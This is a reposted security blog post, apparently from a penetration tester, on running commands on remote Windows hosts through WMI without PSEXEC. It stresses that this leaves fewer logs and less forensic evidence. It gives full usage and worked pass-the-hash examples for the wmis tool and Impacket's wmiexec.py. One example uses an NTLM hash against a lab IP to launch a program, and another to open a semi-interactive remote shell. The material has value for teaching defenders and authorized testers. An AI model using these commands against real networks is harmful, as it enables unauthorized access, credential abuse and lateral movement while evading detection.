最新消息:

Executing Code via SMB / DCOM Without PSEXEC

内网渗透 admin 1376浏览 0评论

PSEXEC has been a staple for Windows post exploitation pivoting and system administration for a long while. The basic premise of how all “psexec” tools work is:

  1. (Optional) Upload a service executable (PSEXECSVC.EXE in the case of SysInternal’s tool) to the ADMIN$ share
  2. Connect to the service manager on the remote host, and create a service based on either a local (to the remote system) executable or the uploaded one.
  3. Run the service
  4. Stop and delete the service and uploaded file pulling down the resulting output if any from the execution.

Now, as you can guess, the uploading of a file, creating, starting, stopping, and deletion of services create quite the logs and forensic evidence.

As you might imagine, thats not the best thing for us on the offensive side of infosec. Luckily big brother Microsoft provides another option, WMI (Windows Management Interface). I demonstrated the use of this in the past: HERE and HERE

The downside to using the WMIC directly is that you need a valid token or a valid password for it to work. Passing the hash didn’t used to be an available option.

That has changed with the “wmis” package on Kali Linux that incorporates the “Pass-the-Hash for 15 years toolkit”

(There is a slight problem where you have to play with it a bit to get it working on 64 bit Kali)

The other solution is supplied as an example in the Impacket library “wmiexec.py”. In my experience there are a few features that make it the better option.

  1. Installing it on a random VPS is dead simple and doesn’t need the Kali repos to get right, nor Debian/Ubuntu.
  2. It defaults to an “semi-interactive shell” which writes and reads output from the ADMIN$ shell by default. Something I would normally have to do manually with a bunch of tools
  3. As with the WMIS package, it allows you to just create a process without the ADMIN$ write/read.

Enough crazy talk here is an example usage of each:

WMIS

Usage:

1
2
3
4
5
6
7
8
9
10
11
<code>root@wpad:~# wmis
Usage: [-?NPV] [-?|--help] [--usage] [-d|--debuglevel=DEBUGLEVEL] [--debug-stderr] [-s|--configfile=CONFIGFILE]
        [--option=name=value] [-l|--log-basename=LOGFILEBASE] [--leak-report] [--leak-report-full]
        [-R|--name-resolve=NAME-RESOLVE-ORDER] [-O|--socket-options=SOCKETOPTIONS] [-n|--netbiosname=NETBIOSNAME]
        [-W|--workgroup=WORKGROUP] [--realm=REALM] [-i|--scope=SCOPE] [-m|--maxprotocol=MAXPROTOCOL]
        [-U|--user=[DOMAIN\]USERNAME[%PASSWORD]] [-N|--no-pass] [--password=STRING] [-A|--authentication-file=FILE]
        [-S|--signing=on|off|required] [-P|--machine-pass] [--simple-bind-dn=STRING] [-k|--kerberos=STRING]
        [--use-security-mechanisms=STRING] [-V|--version]
        //host

Example: wmis -U [domain/]adminuser%password //host cmd.exe /c dir c:\ &gt; c:\windows\temp\output.txt </code>

Example:

1
2
3
4
5
<code>root@wpad:~# wmis -U administrator%aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 //172.16.102.141 calc.exe
HASH PASS: Substituting user supplied NTLM HASH...
HASH PASS: Substituting user supplied NTLM HASH...
[wmi/wmis.c:172:main()] 1: calc.exe
NTSTATUS: NT_STATUS_OK - Success</code>

wmiexec.py

Using a password, but with hashes you just tell it -hashes :

Usage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<code>root@wpad:~/impacket/examples# ./wmiexec.py 
Impacket v0.9.12-dev - Copyright 2002-2014 Core Security Technologies

usage: wmiexec.py [-h] [-share SHARE] [-nooutput] [-hashes LMHASH:NTHASH]
                  target [command [command ...]]

positional arguments:
  target                [domain/][username[:password]@]&lt;address&gt;
  command               command to execute at the target. If empty it will
                        launch a semi-interactive shell

optional arguments:
  -h, --help            show this help message and exit
  -share SHARE          share where the output will be grabbed from (default
                        C$)
  -nooutput             whether or not to print the output (no SMB connection
                        created)

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
</code>

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<code>root@wpad:~/impacket/examples# ./wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 administrator@172.16.102.141
Impacket v0.9.12-dev - Copyright 2002-2014 Core Security Technologies

SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\&gt;dir
 Volume in drive C has no label.
 Volume Serial Number is 5CCA-B528

 Directory of C:\

07/13/2009  11:20 PM    &lt;DIR&gt;          PerfLogs
10/07/2013  03:26 PM    &lt;DIR&gt;          Program Files
07/14/2009  01:08 AM    &lt;DIR&gt;          Program Files (x86)
04/25/2014  02:21 AM    &lt;DIR&gt;          Users
05/11/2014  03:39 PM    &lt;DIR&gt;          Windows
               0 File(s)              0 bytes
               5 Dir(s)  52,884,389,888 bytes free

C:\&gt;
</code>

转自:http://www.room362.com/blog/2014/04/19/executing-code-via-smb-without-psexec/

转载请注明:jinglingshu的博客 » Executing Code via SMB / DCOM Without PSEXEC


Warning: Use of undefined constant PRC - assumed 'PRC' (this will throw an Error in a future version of PHP) in /usr/share/nginx/html/wp-content/themes/d8/comments.php on line 17
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址